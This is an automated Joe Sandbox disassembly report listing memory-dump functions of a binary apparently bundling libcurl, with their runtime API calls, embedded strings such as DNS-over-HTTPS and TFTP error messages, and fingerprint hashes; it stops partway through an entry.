Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 075dd9aaa7fd2ff04b308241928e586f3d38968302706bc707c29608b7b674ee
Instruction ID: 9f142a8cedbdebd62e7856d70c48429f1e66bfa8b30f4dda1e86e5e2a552536a
Opcode Fuzzy Hash: 075dd9aaa7fd2ff04b308241928e586f3d38968302706bc707c29608b7b674ee
Instruction Fuzzy Hash: D321A376A68A41C2DB20AF61E854129A374FB88BD4F540631DE9E5376CCF3CD856CB24

Function 00007FF747D4A2A0 Relevance: 11.3, APIs: 9, Instructions: 32COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A2B9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A2C3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A2CD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A2D7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A2E1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A2EB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A2F5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A2FF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A308

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 89febe505de102955aa40a6d6fbd39999fc8921961043ca983f536c30d848905
Instruction ID: a31b250cdea3ead92fb2d1d5716faa3dd85043772e401a2c923d36f49a80eaee
Opcode Fuzzy Hash: 89febe505de102955aa40a6d6fbd39999fc8921961043ca983f536c30d848905
Instruction Fuzzy Hash: FE01CC66668A01C2DB24BF61E854138A330FF88FC5B541631CD9E5336CCF2CD846D764

Function 00007FF747D83FB0 Relevance: 10.9, APIs: 5, Strings: 2, Instructions: 424stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140(?,?,?,?,?,?,?,?,00000000,?,00007FF747D833C3), ref: 00007FF747D84058
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,00000000,?,00007FF747D833C3), ref: 00007FF747D8409A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,?,00007FF747D833C3), ref: 00007FF747D8413F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,?,00007FF747D833C3), ref: 00007FF747D84152
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D84637

Strings

%s?dns=%s, xrefs: 00007FF747D84128
Failed to encode DOH packet [%d], xrefs: 00007FF747D84191

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$memcpystrchr
String ID: %s?dns=%s$Failed to encode DOH packet [%d]
API String ID: 1438451818-3030351490
Opcode ID: e52e08a378c4958454822736a8cccfbaa44d85129ded56afc962efaf92a4d31d
Instruction ID: ad988be3f96970d87daac0a1bd48a0a9741158d9685d0cd721804ff70bcf070e
Opcode Fuzzy Hash: e52e08a378c4958454822736a8cccfbaa44d85129ded56afc962efaf92a4d31d
Instruction Fuzzy Hash: C402D361B2C783C5F710BE61C8407B9A796EF55B8CFD64231DE1D8778ADE68D4028BA0

Function 00007FF747D84830 Relevance: 10.7, APIs: 7, Instructions: 242COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF747D4C510: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4C546
Part of subcall function 00007FF747D4C510: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4C556
Part of subcall function 00007FF747D4C510: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4C564
Part of subcall function 00007FF747D4C510: memset.VCRUNTIME140 ref: 00007FF747D4C59F

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D848F9
memcpy.VCRUNTIME140 ref: 00007FF747D84914
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8492E

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$mallocmemcpymemset
String ID:
API String ID: 1579693990-0
Opcode ID: 8fb3d6d3ee099111430005b96dd445b6f329aa6f6764831057bf426af99e6c2f
Instruction ID: 2d55cf51a1dd420cbaf9500cb764af9ce01ef95cf686f4b90dbe5fed0b73bea8
Opcode Fuzzy Hash: 8fb3d6d3ee099111430005b96dd445b6f329aa6f6764831057bf426af99e6c2f
Instruction Fuzzy Hash: 1E91C121B2C782C2FA64BF62945037AA690BF45FD4F854234DE6D4B785EF2CF4028B64

Function 00007FF747D598F0 Relevance: 10.7, APIs: 4, Strings: 3, Instructions: 217stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00007FF747D598B8), ref: 00007FF747D59A05
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00007FF747D598B8), ref: 00007FF747D59A1F

Strings

I32, xrefs: 00007FF747D599F5, 00007FF747D59A55
Internal error removing splay node = %d, xrefs: 00007FF747D59902
I64, xrefs: 00007FF747D59A15, 00007FF747D59A7F

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: strncmp
String ID: I32$I64$Internal error removing splay node = %d
API String ID: 1114863663-13178787
Opcode ID: 4abe602e0432aed16e7e57adae7ae147e6c576377803e4fc3a9105ccc54124ad
Instruction ID: 5a8980710d6f5457772605507729a8ad5223cb8524dd2abb4e2ffb808554f5ab
Opcode Fuzzy Hash: 4abe602e0432aed16e7e57adae7ae147e6c576377803e4fc3a9105ccc54124ad
Instruction Fuzzy Hash: 32A1D633A1C642C6EB20AF14E44477DBBA4FB49B58F865235CA9D43258DF3CD20ACB60

Function 00007FF747D68210 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 165stringCOMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF747D4B23A,?,?,?,?,?,?,?,00007FF747D4B007), ref: 00007FF747D68221
strchr.VCRUNTIME140(?,?,?,00000000,TRUE,?,00000000,00000000,00000000,?), ref: 00007FF747D683C3
strchr.VCRUNTIME140(?,?,?,00000000,TRUE,?,00000000,00000000,00000000,?), ref: 00007FF747D683E0

Strings

0123456789ABCDEF, xrefs: 00007FF747D683D2, 00007FF747D683D9
TRUE, xrefs: 00007FF747D6834C
0123456789abcdef, xrefs: 00007FF747D683B2, 00007FF747D683BC

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: strchr$_errno
String ID: 0123456789ABCDEF$0123456789abcdef$TRUE
API String ID: 2644425738-1191287149
Opcode ID: 9224fbc54b73e1d84aa41a66293c8d90ff55d81bd2fcf765c44fad8682bdecb1
Instruction ID: f6eaa19a4a556a014b66535a453bb6d66f8ab45375df01adfb78e98bc14f052b
Opcode Fuzzy Hash: 9224fbc54b73e1d84aa41a66293c8d90ff55d81bd2fcf765c44fad8682bdecb1
Instruction Fuzzy Hash: 1551F822B2DBC6C5EE61BB15D44017EE7A1AB56B88FD48231DA4D47749DE3CE443CB20

Function 00007FF747D89F3A Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 154COMMON

Download Yara Rule

APIs

isupper.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D8A243
isupper.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D8A257
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8A2BE

Strings

TRUE, xrefs: 00007FF747D8A21D
%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s, xrefs: 00007FF747D8A061
GMT, xrefs: 00007FF747D89FEE

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: isupper$free
String ID: GMT$%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s$TRUE
API String ID: 573759493-910067264
Opcode ID: 763c38d78dc5c79ae395204bc3932b69c6bc1704969ec7dd7c9d72dfa48182f2
Instruction ID: d831aefb93434e709c85f813bb01e8f70c4efc61d10b30e590d294ec71a70c56
Opcode Fuzzy Hash: 763c38d78dc5c79ae395204bc3932b69c6bc1704969ec7dd7c9d72dfa48182f2
Instruction Fuzzy Hash: A161F361A2C692C4FB25BB249504279FBA4AF42780FC64232D69D52A88CF3DE547CB20

Function 00007FF747D886DB Relevance: 10.6, APIs: 3, Strings: 4, Instructions: 145COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A09
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A49
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A5C

Strings

Signature, xrefs: 00007FF747D889DF
%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s, xrefs: 00007FF747D887FF
GMT, xrefs: 00007FF747D8878E
Signature: %s, xrefs: 00007FF747D889F7

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$malloc
String ID: Signature: %s$ GMT$%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s$Signature
API String ID: 2190258309-3231818857
Opcode ID: cc4af213bcdcfd7440e4ed7acfa4c34d05be6f0fa52ceb2334c71298c3da4e5a
Instruction ID: 70e97cf597812259fe195814e6013d6d10978c976dd901bd27b05d68fab59e24
Opcode Fuzzy Hash: cc4af213bcdcfd7440e4ed7acfa4c34d05be6f0fa52ceb2334c71298c3da4e5a
Instruction Fuzzy Hash: F151A062A3C6C2C5EB25BB25A8042B9E7A4FB45BC0F950231DA9D03755DF3CE147CB10

Function 00007FF747D7C8C0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 139COMMON

Download Yara Rule

APIs

recvfrom.WS2_32 ref: 00007FF747D7C920
memcpy.VCRUNTIME140 ref: 00007FF747D7C946
memchr.VCRUNTIME140 ref: 00007FF747D7CA43

Strings

Received too short packet, xrefs: 00007FF747D7C972
Internal error: Unexpected packet, xrefs: 00007FF747D7C9E8
TFTP error: %s, xrefs: 00007FF747D7CA60

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: memchrmemcpyrecvfrom
String ID: Internal error: Unexpected packet$Received too short packet$TFTP error: %s
API String ID: 3107918033-477593554
Opcode ID: a3e2849103a70247068220ebcdcc0a559ec76594586829a5efb8fe2af2be80d4
Instruction ID: 4feefbc516c54ac9f5fff74346365f78abbb7dcf6fe3c2fa8206402a21f49b02
Opcode Fuzzy Hash: a3e2849103a70247068220ebcdcc0a559ec76594586829a5efb8fe2af2be80d4
Instruction Fuzzy Hash: D3512571A2C682C9EB64FF2595103B9B394FB45B45F844236DA4E4B784DE3CE44ACF60

Function 00007FF747D32380 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 134COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF747D36DE0: memcpy.VCRUNTIME140(?,?,?,?,00000000,00007FF747D323DB), ref: 00007FF747D36E5E
Part of subcall function 00007FF747D36DE0: memcpy.VCRUNTIME140(?,?,?,?,00000000,00007FF747D323DB), ref: 00007FF747D36E6C
Part of subcall function 00007FF747D36DE0: memcpy.VCRUNTIME140(?,?,?,?,00000000,00007FF747D323DB), ref: 00007FF747D36E82

Part of subcall function 00007FF747D33BC0: memcpy.VCRUNTIME140(?,?,?,?,?,00007FF747D31D9B), ref: 00007FF747D33C06

Part of subcall function 00007FF747D35DE0: memcpy.VCRUNTIME140(?,?,?,00007FF747D31DCA), ref: 00007FF747D35E71

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32479
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D324B8
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32506
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32554

Strings

, column , xrefs: 00007FF747D32409
at line , xrefs: 00007FF747D323CC

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturn
String ID: at line $, column
API String ID: 2665656946-191570568
Opcode ID: cd88fc2eb0c43cf2dea86ed3eb464c30a0ca442cdfdcf6784071c49820cf1abd
Instruction ID: 096bb97e2d5f7aa541a8b4ec222566bd6ba6e2b5e2d8de76fb4680489de92616
Opcode Fuzzy Hash: cd88fc2eb0c43cf2dea86ed3eb464c30a0ca442cdfdcf6784071c49820cf1abd
Instruction Fuzzy Hash: FB51B062F28B86C6FB04EFA4E5443AC6321EB447A8F404331DA6D13BD9DE38E196D350

Function 00007FF747D81440 Relevance: 10.6, APIs: 3, Strings: 4, Instructions: 129COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,Negotiate,?,00007FF747D64DD6), ref: 00007FF747D8159D
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,Negotiate,?,00007FF747D64DD6), ref: 00007FF747D815B3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D815C5

Strings

%sAuthorization: Negotiate %s, xrefs: 00007FF747D8157E
Curl_output_negotiate, no persistent authentication: cleanup existing context, xrefs: 00007FF747D814F1
Negotiate, xrefs: 00007FF747D81446, 00007FF747D81522
Proxy-, xrefs: 00007FF747D8156D

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: %sAuthorization: Negotiate %s$Curl_output_negotiate, no persistent authentication: cleanup existing context$Negotiate$Proxy-
API String ID: 1294909896-1255959952
Opcode ID: f198fbd2046383c1a6cce593e2bc3142b815703f912c50491b5b73dd462a67c1
Instruction ID: 9db1add9039214a6af947f9ef643562dacdb96247e3e50ef5cd4f30a0c1fed3b
Opcode Fuzzy Hash: f198fbd2046383c1a6cce593e2bc3142b815703f912c50491b5b73dd462a67c1
Instruction Fuzzy Hash: 41510472A1C642D2FB11FB65D4402BCB7A0FB45B94F8A0235DA5D83681DF3EE45ACB20

Function 00007FF747D7F797 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F7FD
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D7F84E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F90A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F9FA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7FA0B

Strings

%%%02x, xrefs: 00007FF747D7F8B3

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: freemalloc$_strdup
String ID: %%%02x
API String ID: 1941130848-4020994737
Opcode ID: 2f12533ae5c7d22c91c98250c81db4f994baa735569bf2d412694917429020a2
Instruction ID: b05cc4ece61731568bd17a28198f407c12df78a22c47c975fede3bed0bf25bc8
Opcode Fuzzy Hash: 2f12533ae5c7d22c91c98250c81db4f994baa735569bf2d412694917429020a2
Instruction Fuzzy Hash: 0A41F31292D682C5EA7ABB216110379AB91AF45794F880772DADE0A3C5DF2DE407DB20

Function 00007FF747D7F787 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F7FD
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D7F84E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F90A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F9FA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7FA0B

Strings

%%%02x, xrefs: 00007FF747D7F8B3

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: freemalloc$_strdup
String ID: %%%02x
API String ID: 1941130848-4020994737
Opcode ID: a2a6ca694af6d6b6ff358b0db032f8cc45bfc6661a346e6da40368cd7cad8861
Instruction ID: 07fc4be3a7636bcbc7045d99e114ce17cfb19eeb950a9338c147411a0ae25c22
Opcode Fuzzy Hash: a2a6ca694af6d6b6ff358b0db032f8cc45bfc6661a346e6da40368cd7cad8861
Instruction Fuzzy Hash: 0941E51292D292C4FA7AB7216010379AB91AF45794F880772DEDE0A3C5DF2DE407DB20

Function 00007FF747D7F732 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F7FD
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D7F84E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F90A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F9FA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7FA0B

Strings

%%%02x, xrefs: 00007FF747D7F8B3

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: freemalloc$_strdup
String ID: %%%02x
API String ID: 1941130848-4020994737
Opcode ID: d0b26e73ffc5f99cf69ba09fbf06d48aaf8e2ad000c814df662444c5f3b2e9b2
Instruction ID: 0e82ece7d56fe050adeedf9721f3ed92a0651252d00b183b829c0de381503f54
Opcode Fuzzy Hash: d0b26e73ffc5f99cf69ba09fbf06d48aaf8e2ad000c814df662444c5f3b2e9b2
Instruction Fuzzy Hash: 1141D612D2D692C4FA7AB7215110379AB91AF45790F880772DE9E0A3C5DF2DA407DB20

Function 00007FF747D7F6FA Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F7FD
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D7F84E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F90A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F9FA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7FA0B

Strings

%%%02x, xrefs: 00007FF747D7F8B3

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: freemalloc$_strdup
String ID: %%%02x
API String ID: 1941130848-4020994737
